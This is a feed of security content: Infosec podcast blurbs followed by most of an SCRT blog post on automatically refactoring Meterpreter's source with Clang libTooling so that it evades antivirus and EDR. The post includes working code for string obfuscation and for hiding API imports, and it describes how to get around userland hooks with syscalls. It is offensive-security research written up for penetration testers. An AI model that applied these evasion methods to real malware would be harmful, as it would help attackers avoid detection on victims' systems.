Karl Sharman is a former Head of Recruitment in Football (Soccer) that assisted in selling £1 million worth of talent for a variety of clubs. Since switching to cybersecurity recruitment in 2017, Karl is now the North America Practice Leader for prominent cybersecurity recruitment company, BeecherMadden. With 10 years of recruitment experience, he helps organizations identify, acquire and retain talent in the cybersecurity and risk management sector across North America. He consults the industry on career paths, salary benchmarking, talent pools, and recruitment and retaining strategies. Karl was featured in the top 1% of Search & Staffing Professionals globally by LinkedIn, and BeecherMadden won security recruitment company of the year for 2019.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

How COVID-19 is changing phishing, social engineering and security | Guest Aaron Cockerill

By: Infosec
15 June 2020 at 07:00

Individuals and organizations are shifting routines to accommodate Coronavirus health concerns, and bad actors are updating their strategies to capitalize on the new opportunities. Aaron Cockerill, CSO of Lookout, discusses how cybercriminals are looking to cash in or otherwise disrupt organizations during the pandemic, as well how workplace security is evolving with so many individuals now working from home.

– Free election security resources: https://www.infosecinstitute.com/iq/election-security-training/
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Aaron Cockerill joined Lookout with nearly 20 years of software product management experience. As the Chief Strategy Officer, Aaron is responsible for developing, validating and implementing cross-functional strategic product initiatives that align with the Lookout vision of a secure connected world. Most recently, he served as VP of Mobile Technologies at Citrix, where he and his team were responsible for the development of Citrix’s mobile apps and container technology, while driving the acquisition of Zenprise. Prior to working on mobile technologies, Aaron drove the creation of Citrix’s desktop virtualization product, XenDesktop, which grew into more than $1 billion yearly revenue for Citrix during his five years of leadership. Before joining Citrix, Aaron worked for Akamai leading product management on their enterprise content delivery solution as well as working on the development and deployment of many of Akamai’s advanced content delivery networking technologies. Prior to that, Aaron led product management for OneSoft’s e-commerce system, and he held multiple positions at BHP Billiton in Australia. He holds a BE Materials (Honors) from Wollongong University, Australia.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

CompTIA CySA+ certification changes: Everything you need to know | Guest Patrick Lane

By: Infosec
18 June 2020 at 07:00

Information security analyst is the fastest-growing job category in the U.S., with 32 percent overall growth expected between 2018 and 2028. Take advantage of this opportunity and learn about the updated CompTIA CySA+ certification, which was refreshed in April 2020 to align with the most in-demand skills in this growing field.

Join Patrick Lane, Director of Products at CompTIA, in this audio version of our webinar to learn everything you need to know about the latest CySA+ certification and exam (CS0-002), including evolving security analyst job skills, common job roles for CySA+ holders, tips to pass the updated CySA+ exam and questions from live viewers.

– Watch the video version of the webinar: https://www.youtube.com/watch?v=zj9yBtDUH8E
– View the presentation's slides: https://www.slideshare.net/InfoSecInstituteEdu/comptia-cysa-certification-changes-everything-you-need-to-know
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Engineering antivirus evasion

By: plowsec
19 June 2020 at 08:54

tl;dr: this blog post documents some aspects of our research on antivirus software and how we managed to automatically refactor Meterpreter to bypass every AV/EDR we were put up against. While the ideas for every technique and the implementation of the string obfuscation pass are detailed below, we decided to publish details on API imports hiding / syscalls rewriting in future blog posts to keep this one as short as possible. The source code is available at https://github.com/scrt/avcleaner


Among the defensive measures a company can implement to protect its information systems against attacks, security software such as antivirus or EDR often come up as an essential toolset to have. While it used to be rather easy to circumvent any kind of malware detection mechanism in the past years, doing so nowadays certainly involves more effort.

On the other hand, communicating about the risks associated with a vulnerability is really challenging in case the Proof-of-Concept to exploit it is itself blocked by an antivirus. While one can claim that it is always theoretically possible to bypass the detection [1] and leave it at that, actually doing it may add some strength to the argument.

In addition, there are vulnerabilities that can only be discovered with an existing foothold on a system. For example, in the case where a pentester is not able to get that initial level of access, the audit’s result would not accurately depict the actual security level of the systems in scope.

In view of that, there is a need to be able to circumvent antivirus software. To complicate things, at SCRT we rely on publicly available, open-source tools whenever possible, to emphasise that our work is reproducible by anyone skilled enough to use them, and does not depend on private, expensive tools.

Problem statement

The community likes to categorise the detection mechanisms of any antivirus as being “static” or “dynamic”. Generally, if detection is triggered before the malware’s execution, it is seen as a kind of static detection.
However, it is worth knowing that a static detection mechanism such as signatures can be invoked during the malware’s execution in reaction to events such as process creations, in-memory file downloads, and so on.
In any case, if we want to use the good old Meterpreter against any kind of security software, we must modify it in such a way that it fulfills the following requirements:

  • Bypass any static signature, whether during a filesystem scan or a memory scan.
  • Bypass “behavioural detection” which, more often than not, relates to evading userland API hooking.

However, Meterpreter comprises several modules, and the whole codebase amounts to around 700’000 lines of code. In addition, it is constantly updated, which means running a private fork of the project is sure to scale very poorly.

In short, we need a way to transform the codebase automatically.

Solutions

After years of experience bypassing antivirus software, if there is any kind of insight that we could share with the community, it would be that a malware detection is almost always trivially based on strings, API hooks, or a combination of both.

Even for the products that implement machine learning classifiers such as Cylance, a malware that does not have strings, API imports and hookable API calls is sure to go through the net like a soccer ball through Sergio Rico’s defence.

Meterpreter has thousands of strings, API imports are not hidden in any way and sensitive APIs such as “WriteProcessMemory” can be intercepted easily with a userland API hook. So, we need to remedy that in an automated fashion, which yields two potential solutions:

  • Source-to-source code refactoring
  • LLVM passes to obfuscate the code base at compilation time.

The latter would be the preferred approach, and many popular researches reached the same conclusion [2]. The main reason is that a transformation pass can be written once and reused independently of the software’s programming language or target architecture.

Image from: http://www.aosabook.org/en/llvm.html

However, doing so requires the ability to compile Meterpreter with a compiler other than Visual Studio. While we have published some work to change that in December 2018, adoption in the official codebase is still an ongoing process more than a year later.

In the meantime, we have decided to implement the first approach out of spite. After a thorough review of the state-of-the-art of source code refactoring, libTooling (part of the Clang/LLVM toolchain) appeared to be the only viable candidate to parse C/C++ source code and modify it.

Note: since the codebase is strongly Visual Studio dependent, Clang will fail to parse a large part of Metepreter. However, it was still possible to bypass the target antivirus with that half-success. And here we probably have the only advantage of source-to-source transformation over compile-time transformation: the latter requires the whole project to compile without any errors. The former is resilient to thousands of compilation errors; you just end up with an incomplete Abstract Syntax Tree, which is perfectly fine.

LLVM passes vs libTooling

String obfuscation

In C/C++, a string may be located in many different contexts. libTooling is not really pleasurable to toy with, so we have applied Pareto’s Law and limited ourselves to those that cover the most suspicious string occurrences within Meterpreter’s codebase:

  • Function arguments
  • List initializers

Function arguments

For instance, we know for a fact that ESET Nod32 will flag the string “ntdll” as being suspicious in the following context:

ntdll = LoadLibrary(TEXT("ntdll"))

However, rewriting this code snippet in the following manner successfully bypasses the detection:

wchar_t ntdll_str[] = {'n','t','d','l','l',0};
ntdll = LoadLibrary(ntdll_str)

Behind the scenes, the first snippet will cause the string “ntdll” to be stored inside the .rdata section of the resulting binary, and can be easily spotted by the antivirus. The second snippet will cause the string to be stored on the stack at runtime, and is statically indistinguishable from code, at least in the general case. IDA Pro or alternatives are often able to recognise the string, but they also run more advanced and computationally intensive analyses on the binary.

List initializers

In Meterpreter’s codebase, this kind of construct can be found in several files, for instance in c/meterpreter/source/extensions/extapi/extapi.c:

Command customCommands[] =
{
COMMAND_REQ("extapi_window_enum", request_window_enum),
COMMAND_REQ("extapi_service_enum", request_service_enum),
COMMAND_REQ("extapi_service_query", request_service_query),
COMMAND_REQ("extapi_service_control", request_service_control),
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_REQ("extapi_ntds_parse", ntds_parse),
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),
...
}

Those strings will be stored in clear-text in the .rdata section of ext_server_espia.x64.dll and picked up by ESET Nod32 for instance.

To make things worse, those strings are parameters to a macro, located in a list initialiser. This introduces a bunch of tricky corner cases that are not obvious to overcome. The goal is to rewrite this snippet automatically as follows:

char hid_extapi_UQOoNXigAPq4[] = {'e','x','t','a','p','i','_','w','i','n','d','o','w','_','e','n','u','m',0};
char hid_extapi_vhFHmZ8u2hfz[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','e','n','u','m',0};
char hid_extapi_pW25eeIGBeru[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','q','u','e','r','y'
0};
char hid_extapi_S4Ws57MYBjib[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','c','o','n','t','r'
'o','l',0};
char hid_extapi_HJ0lD9Dl56A4[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','g','e','t'
'_','d','a','t','a',0};
char hid_extapi_IiEzXils3UsR[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','s','e','t'
'_','d','a','t','a',0};
char hid_extapi_czLOBo0HcqCP[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','s','t','a','r','t',0};
char hid_extapi_WcWbTrsQujiT[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','a','u','s','e',0};
char hid_extapi_rPiFTZW4ShwA[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','r','e','s','u','m','e',0};
char hid_extapi_05fAoaZLqOoy[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','u','r','g','e',0};
char hid_extapi_cOOyHTPTvZGK[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','s','t','o','p',0};
char hid_extapi_smtmvW05cI9y[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','d','u','m','p',0};
char hid_extapi_01kuYCM8z49k[] = {'e','x','t','a','p','i','_','a','d','s','i','_','d','o','m','a','i','n','_','q','u','e','r','y',0};
char hid_extapi_SMK9uFj6nThk[] = {'e','x','t','a','p','i','_','n','t','d','s','_','p','a','r','s','e',0};
char hid_extapi_PHxnGM7M0609[] = {'e','x','t','a','p','i','_','w','m','i','_','q','u','e','r','y',0};
char hid_extapi_J7EGS6FRHwkV[] = {'e','x','t','a','p','i','_','p','a','g','e','a','n','t','_','s','e','n','d','_','q','u','e','r','y',0};

Command customCommands[] =
{

    COMMAND_REQ(hid_extapi_UQOoNXigAPq4, request_window_enum),
    COMMAND_REQ(hid_extapi_vhFHmZ8u2hfz, request_service_enum),
    COMMAND_REQ(hid_extapi_pW25eeIGBeru, request_service_query),
    COMMAND_REQ(hid_extapi_S4Ws57MYBjib, request_service_control),
    COMMAND_REQ(hid_extapi_HJ0lD9Dl56A4, request_clipboard_get_data),
    COMMAND_REQ(hid_extapi_IiEzXils3UsR, request_clipboard_set_data),
    COMMAND_REQ(hid_extapi_czLOBo0HcqCP, request_clipboard_monitor_start),
    COMMAND_REQ(hid_extapi_WcWbTrsQujiT, request_clipboard_monitor_pause),
    COMMAND_REQ(hid_extapi_rPiFTZW4ShwA, request_clipboard_monitor_resume),
    COMMAND_REQ(hid_extapi_05fAoaZLqOoy, request_clipboard_monitor_purge),
    COMMAND_REQ(hid_extapi_cOOyHTPTvZGK, request_clipboard_monitor_stop),
    COMMAND_REQ(hid_extapi_smtmvW05cI9y, request_clipboard_monitor_dump),
    COMMAND_REQ(hid_extapi_01kuYCM8z49k, request_adsi_domain_query),
    COMMAND_REQ(hid_extapi_SMK9uFj6nThk, ntds_parse),
    COMMAND_REQ(hid_extapi_PHxnGM7M0609, request_wmi_query),
    COMMAND_REQ(hid_extapi_J7EGS6FRHwkV, request_pageant_send_query),
    COMMAND_TERMINATOR
};

Hiding API Imports

Calling functions exported by external libraries causes the linker to write an entry into the Import Address Table (IAT). As a result, the function name will appear as clear-text within the binary, and thus can be recovered statically without even executing the malware. Of course, there are function names that are more suspicious than others. It would be wise to hide all the suspicious ones and keep the ones that are present in the majority of legitimate binaries.
For instance, in the kiwi extension of Metepreter, one can find the following line:

enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

This function is exported by samlib.dll, so the linker will cause the strings “samlib.dll” and “SamEnumerateUsersInDomain” to appear in the compiled binary.

To solve this issue, it is possible to import the API at runtime using LoadLibrary / GetProcAddresss. Of course, both these functions work with strings, so they must be obfuscated as well. Thus, we would like to automatically rewrite the above snippet as follows:

typedef NTSTATUS(__stdcall* _SamEnumerateUsersInDomain)(
    SAMPR_HANDLE DomainHandle,
    PDWORD EnumerationContext,
    DWORD UserAccountControl,
    PSAMPR_RID_ENUMERATION* Buffer,
    DWORD PreferedMaximumLength,
    PDWORD CountReturned
);
char hid_SAMLIB_01zmejmkLCHt[] = {'S','A','M','L','I','B','.','D','L','L',0};
char hid_SamEnu_BZxlW5ZBUAAe[] = {'S','a','m','E','n','u','m','e','r','a','t','e','U','s','e','r','s','I','n','D','o','m','a','i','n',0};
HANDLE hhid_SAMLIB_BZUriyLrlgrJ = LoadLibrary(hid_SAMLIB_01zmejmkLCHt);
_SamEnumerateUsersInDomain ffSamEnumerateUsersInDoma =(_SamEnumerateUsersInDomain)GetProcAddress(hhid_SAMLIB_BZUriyLrlgrJ, hid_SamEnu_BZxlW5ZBUAAe);
enumStatus = ffSamEnumerateUsersInDoma(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

Rewriting syscalls

By default, using the migrate command of Meterpreter on a machine where Cylance is running triggers the antivirus detection (for now, just take our word for it). Cylance detects the process injection with a userland hook. To get around the detection, one can remove the hook, which seems to be the trending approach nowadays, or simply avoid it altogether. We found it simpler to read ntdll, recover the syscall number and insert it in a ready-to-call shellcode, which effectively gets around any antivirus’ userland’s hooks. To date, we have yet to find a Blue-Team that identifies NTDLL.DLL being read from disk as being “suspicious”.

Implementation

All the aforementioned ideas can be implemented in a source code refactoring tool based on libTooling. This section documents the way we did it, which is a compromise between time available and patience with the lack of libTooling documentation. So, there is room for improvements, and in case something looks off to you, it probably is and we would love to hear about it.

Abstract Syntax Tree 101

A compiler typically comprises several components, the most common ones being a Parser and a Lexer. When source code is fed to the compiler, it first generates a Parse Tree out of the original source code (what the programmer wrote), and then adds semantic information to the nodes (what the compiler truly needs). The result of this step is called an Abstract Syntax Tree. Wikipedia showcases the following example:

while b ≠ 0
  if a > b
    a := a − b
  else
    b := b − a
return a

A typical AST for this small program would look like this:

Example of an Abstract Syntax Tree (https://en.wikipedia.org/wiki/Abstract_syntax_tree)

This data structure allows for more precise algorithms when it comes to writing programs that understand properties of other programs, so it seems like a good choice to perform large scale code refactoring.

Clang’s Abstract Syntax Tree

Since we need to modify source code The Right WayTM, we will need to get acquainted with Clang‘s AST. The good news is that Clang exposes a command-line switch to dump the AST with pretty colours. The bad news is that for everything but toy projects, setting the correct compiler flags is… tricky.

For now, let us have a realistic yet simple enough test translation unit:

#include <windows.h>

typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG,
PLARGE_INTEGER, PULONG, ULONG, ULONG, ULONG);

int main(void)
{
    f_NtMapViewOfSection lNtMapViewOfSection;
    HMODULE ntdll;

    if (!(ntdll = LoadLibrary(TEXT("ntdll"))))
    {
        return -1;
    }

    lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
    lNtMapViewOfSection(0,0,0,0,0,0,0,0,0,0);
    return 0;
}

Then, punch-in the following script into a .sh file (don’t ask how we came up with all those compiler flags, you will bring back painful memories):

WIN_INCLUDE="/Users/vladimir/headers/winsdk"
CLANG_PATH="/usr/local/Cellar/llvm/9.0.1"#"/usr/lib/clang/8.0.1/"

clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"\
  "-I" "$CLANG_PATH/include" \
  "-I" "$CLANG_PATH" \
  "-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"\
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/um" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt" \
  "-fdeprecated-macro" \
  "-w" \
  "-fdebug-compilation-dir"\
  "-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility" \
  "-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"

Notice that WIN_INCLUDE points to a folder containing all the required headers to interact with the Win32 API. These were taken as-is from a standard Windows 10 install, and to save you some headaches, we recommend that you do the same instead of opting for MinGW’s ones. Then, call the script with the test C file as argument. While this produces a 18MB file, it is easy enough to navigate to the interesting part of the AST by searching for one of the string literals we defined, for instance “NtMapViewOfSection“:

Now that we have a way to visualise the AST, it is much simpler to understand how we will have to update the nodes to achieve our result, without introducing any syntax errors in the resulting source code. The subsequent sections contain the implementation details related to AST manipulation with libTooling.

ClangTool boilerplate

Unsurprisingly, there is some required boilerplate code before getting into the interesting stuff, so punch-in the following code into main.cpp:

#include "clang/AST/ASTConsumer.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/Decl.h"
#include "clang/AST/Type.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/Basic/SourceManager.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Rewrite/Core/Rewriter.h"

// LLVM includes
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/raw_ostream.h"

#include "Consumer.h"
#include "MatchHandler.h"

#include <iostream>
#include <memory>
#include <string>
#include <vector>
#include <fstream>
#include <clang/Tooling/Inclusions/IncludeStyle.h>
#include <clang/Tooling/Inclusions/HeaderIncludes.h>
#include <sstream>

namespace ClSetup {
    llvm::cl::OptionCategory ToolCategory("StringEncryptor");
}

namespace StringEncryptor {

    clang::Rewriter ASTRewriter;
    class Action : public clang::ASTFrontendAction {

    public:
        using ASTConsumerPointer = std::unique_ptr<clang::ASTConsumer>;

        ASTConsumerPointer CreateASTConsumer(clang::CompilerInstance &Compiler,
                                             llvm::StringRef Filename) override {

            ASTRewriter.setSourceMgr(Compiler.getSourceManager(), Compiler.getLangOpts());
            std::vector<ASTConsumer*> consumers;

            consumers.push_back(&StringConsumer);
  
            // several passes can be combined together by adding them to `consumers`
            auto TheConsumer = llvm::make_unique<Consumer>();
            TheConsumer->consumers = consumers;
            return TheConsumer;
        }

        bool BeginSourceFileAction(clang::CompilerInstance &Compiler) override {
            llvm::outs() << "Processing file " << '\n';
            return true;
        }

        void EndSourceFileAction() override {

            clang::SourceManager &SM = ASTRewriter.getSourceMgr();

            std::string FileName = SM.getFileEntryForID(SM.getMainFileID())->getName();
            llvm::errs() << "** EndSourceFileAction for: " << FileName << "\n";

            // Now emit the rewritten buffer.
            llvm::errs() << "Here is the edited source file :\n\n";
            std::string TypeS;
            llvm::raw_string_ostream s(TypeS);
            auto FileID = SM.getMainFileID();
            auto ReWriteBuffer = ASTRewriter.getRewriteBufferFor(FileID);

            if(ReWriteBuffer != nullptr)
                ReWriteBuffer->write((s));
            else{
                llvm::errs() << "File was not modified\n";
                return;
            }

            std::string result = s.str();
            std::ofstream fo(FileName);
       
            if(fo.is_open())
                fo << result;
            else
                llvm::errs() << "[!] Error saving result to " << FileName << "\n";
        }
    };
}

auto main(int argc, const char *argv[]) -> int {

    using namespace clang::tooling;
    using namespace ClSetup;

    CommonOptionsParser OptionsParser(argc, argv, ToolCategory);
    ClangTool Tool(OptionsParser.getCompilations(),
                   OptionsParser.getSourcePathList());

    auto Action = newFrontendActionFactory<StringEncryptor::Action>();
    return Tool.run(Action.get());
}

Since that boilerplate code is taken from examples in the official documentation, there is no need to describe it further. In fact, the only modification worth mentioning is inside CreateASTConsumer. Our end game is to run several tranformation passes on the same translation unit. It can be done by adding items to the consumers collection (the essential line is consumers.push_back(&...);).

String obfuscation

This section describes the most important implementation details regarding the string obfuscation pass, which comprises three steps:

  • Locate string literals in the source code.
  • Replace them with variables
  • Insert a variable definition / assignment at the appropriate location (enclosing function or global context).

Locating string literals in source code

StringConsumer can be defined as follows (at the beginning of the StringEncryptor namespace):

class StringEncryptionConsumer : public clang::ASTConsumer {
public:

    void HandleTranslationUnit(clang::ASTContext &Context) override {
        using namespace clang::ast_matchers;
        using namespace StringEncryptor;

        llvm::outs() << "[StringEncryption] Registering ASTMatcher...\n";
        MatchFinder Finder;
        MatchHandler Handler(&ASTRewriter);

        const auto Matcher = stringLiteral().bind("decl");

        Finder.addMatcher(Matcher, &Handler);
        Finder.matchAST(Context);
    }
};

StringEncryptionConsumer StringConsumer = StringEncryptionConsumer();

Given a translation unit, we can tell Clang to find a pattern inside the AST, as well as register a “handler” to be called whenever a match is found. The pattern matching exposed by Clang’s ASTMatcher is quite powerful, and yet underused here, since we only resort to it to locate string literals.

Then, we can get to the heart of the matter by implementing a MatchHandler, which will provide us with a MatchResult instance. A MatchResult contains a reference to the AST node identified, as well as priceless context information.

Let us implement the class definition and inherit some good stuff from clang::ast_matchers::MatchFinder::MatchCallback:

#ifndef AVCLEANER_MATCHHANDLER_H
#define AVCLEANER_MATCHHANDLER_H

#include <vector>
#include <string>
#include <memory>
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/ArrayRef.h"
#include "clang/Rewrite/Core/Rewriter.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Basic/SourceManager.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/AST/Type.h"
#include "clang/AST/Decl.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/ASTConsumer.h"
#include "MatchHandler.h"

class MatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback {

public:
    using MatchResult = clang::ast_matchers::MatchFinder::MatchResult;

    MatchHandler(clang::Rewriter *rewriter);
    void run(const MatchResult &Result) override; // callback function that runs whenever a Match is found.

};

#endif //AVCLEANER_MATCHHANDLER_H

In MatchHandler.cpp, we will have to implement MatchHandler’s constructor and the run callback function. The constructor is pretty simple, since it is only needed to store the clang::Rewriter‘s instance for later use:

using namespace clang;

MatchHandler::MatchHandler(clang::Rewriter *rewriter) {
    this->ASTRewriter = rewriter;
}

run is implemented as follows:

void MatchHandler::run(const MatchResult &Result) {
    const auto *Decl = Result.Nodes.getNodeAs<clang::StringLiteral>("decl");
    clang::SourceManager &SM = ASTRewriter->getSourceMgr();

    // skip strings in included headers
    if (!SM.isInMainFile(Decl->getBeginLoc()))
        return;

    // strings that comprise less than 5 characters are not worth the effort
    if (!Decl->getBytes().str().size() > 4) {
        return;
    }

    climbParentsIgnoreCast(*Decl, clang::ast_type_traits::DynTypedNode(), Result.Context, 0);
}

From the excerpt shown above, there are three elements worth mentioning:

  • We extract the AST node that was matched by the pattern defined in StringEncryptionConsumer. To do that, one can call the function getNodeAs, which expects a string as argument that relates to the identifier the pattern was bound to (see the line const auto Matcher = stringLiteral().bind("decl"))
  • We skip strings that are not defined in the translation unit under analysis. Indeed, our pass intervenes after Clang‘s preprocessor, which will actually copy-paste included system headers into the translation unit.
  • Then, we are ready to process the string literal. Since we need to know about the context where this string literal was found, we pass the extracted node to a user-defined function, (climbParentsIgnoreCast in this case, for the lack of a better name), along Result.Context, which contains a reference to the enclosing AST. The goal is to visit the tree upwards until an interesting node is found. In this case, we are interested in a node of type CallExpr.
bool
MatchHandler::climbParentsIgnoreCast(const StringLiteral &NodeString, clang::ast_type_traits::DynTypedNode node,
                                     clang::ASTContext *const pContext, uint64_t iterations) {

    ASTContext::DynTypedNodeList parents = pContext->getParents(NodeString);

    if (iterations > 0) {
        parents = pContext->getParents(node);
    }

    for (const auto &parent : parents) {

        StringRef ParentNodeKind = parent.getNodeKind().asStringRef();

        if (ParentNodeKind.find("Cast") != std::string::npos) {

            return climbParentsIgnoreCast(NodeString, parent, pContext, ++iterations);
        }

        handleStringInContext(&NodeString, pContext, parent);
    }

    return false;
}

In a nutshell, this function recursively looks up the parent nodes of a StringLiteral node, until it finds one that should be interesting (i.e. not a “cast”). handleStringInContext is also straight-forward:

void MatchHandler::handleStringInContext(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                         const clang::ast_type_traits::DynTypedNode node) {

    StringRef ParentNodeKind = node.getNodeKind().asStringRef();

    if (ParentNodeKind.compare("CallExpr") == 0) {
        handleCallExpr(pLiteral, pContext, node);
    } else if (ParentNodeKind.compare("InitListExpr") == 0) {
        handleInitListExpr(pLiteral, pContext, node);
    } else {
        llvm::outs() << "Unhandled context " << ParentNodeKind << " for string " << pLiteral->getBytes() << "\n";
    }
}

As evident from the snippet above, only two kind of nodes are actually handled. It should also be quite easy to add more if needed. Indeed, both cases are already handled in a similar fashion.

void MatchHandler::handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                  const clang::ast_type_traits::DynTypedNode node) {

    const auto *FunctionCall = node.get<clang::CallExpr>();

    if (isBlacklistedFunction(FunctionCall)) {
        return; // exclude printf-like functions when the replacement is not constant anymore (C89 standard...).
    }

    handleExpr(pLiteral, pContext, node);
}

void MatchHandler::handleInitListExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                      const clang::ast_type_traits::DynTypedNode node) {

    handleExpr(pLiteral, pContext, node);
}

Replacing string literals

Since both CallExpr and InitListExpr can be handled in a similar fashion, we define a common function usable by both.

bool MatchHandler::handleExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                  const clang::ast_type_traits::DynTypedNode node) {

    clang::SourceRange LiteralRange = clang::SourceRange(
            ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getBeginLoc()),
            ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc())
    );

    if(shouldAbort(pLiteral, pContext, LiteralRange))
        return false;

    std::string Replacement = translateStringToIdentifier(pLiteral->getBytes().str());

    if(!insertVariableDeclaration(pLiteral, pContext, LiteralRange, Replacement))
        return false ;

    Globs::PatchedSourceLocation.push_back(LiteralRange);

    return replaceStringLiteral(pLiteral, pContext, LiteralRange, Replacement);
}
  • We randomly generate a variable name.
  • Find some empty space at the nearest location and insert the variable declaration. This is basically a wrapper around ASTRewriter->InsertText().
  • Replace the string with the identifier generated in step 1.
  • Add the string literal location to a collection. This is useful because when visiting InitListExpr, the same string literal will appear twice (no idea why).

The last step is the only one that is tricky to implement really, so let us focus on that first:

bool MatchHandler::replaceStringLiteral(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                        clang::SourceRange LiteralRange,
                                        const std::string& Replacement) {

    // handle "TEXT" macro argument, for instance LoadLibrary(TEXT("ntdll"));
    bool isMacro = ASTRewriter->getSourceMgr().isMacroBodyExpansion(pLiteral->getBeginLoc());

    if (isMacro) {
        StringRef OrigText = clang::Lexer::getSourceText(CharSourceRange(pLiteral->getSourceRange(), true),
                                                         pContext->getSourceManager(), pContext->getLangOpts());

        // weird bug with TEXT Macro / other macros...there must be a proper way to do this.
        if (OrigText.find("TEXT") != std::string::npos) {

            ASTRewriter->RemoveText(LiteralRange);
            LiteralRange.setEnd(ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc().getLocWithOffset(-1)));
        }
    }

    return ASTRewriter->ReplaceText(LiteralRange, Replacement);
}

Normally, replacing text should be realised with the ReplaceText API, but in practice too many bugs were encountered with it. When it comes to macros, things tend to get very complicated because Clang’s API behaves inconsistently. For instance, if you remove the check isMacroBodyExpansion(), you will end up replacing “TEXT” instead of its argument.

For instance in LoadLibrary(TEXT("ntdll")), the actual result would be LoadLibrary(your_variable("ntdll")), which is incorrect.

